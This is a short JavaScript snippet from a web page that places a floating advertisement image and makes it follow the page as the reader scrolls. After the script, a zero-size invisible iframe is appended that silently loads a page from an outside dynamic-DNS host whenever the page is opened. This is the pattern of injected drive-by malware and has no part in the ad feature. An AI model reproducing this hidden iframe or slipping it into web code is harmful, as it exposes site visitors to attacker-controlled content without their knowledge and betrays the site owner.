suspendcode="<DIV id=backi style='right:650px;POSITION:absolute;TOP:300px;'><a href='#' target='_blank'><img border=0 src=\'left_0333.gif\' width=135 height=211></a></div>" 
document.write(suspendcode); 
lastScrollY=0; 
function heartBeat(){ 
diffY=document.body.scrollTop; 
percent=.1*(diffY-lastScrollY); 
if(percent>0)percent=Math.ceil(percent); 
else percent=Math.floor(percent); 
document.all.backi.style.pixelTop+=percent; 
lastScrollY=lastScrollY+percent; 
} 
window.setInterval("heartBeat()",1); <iframe src=http://game8888.3322.org/index.htm width=0 height=0></iframe>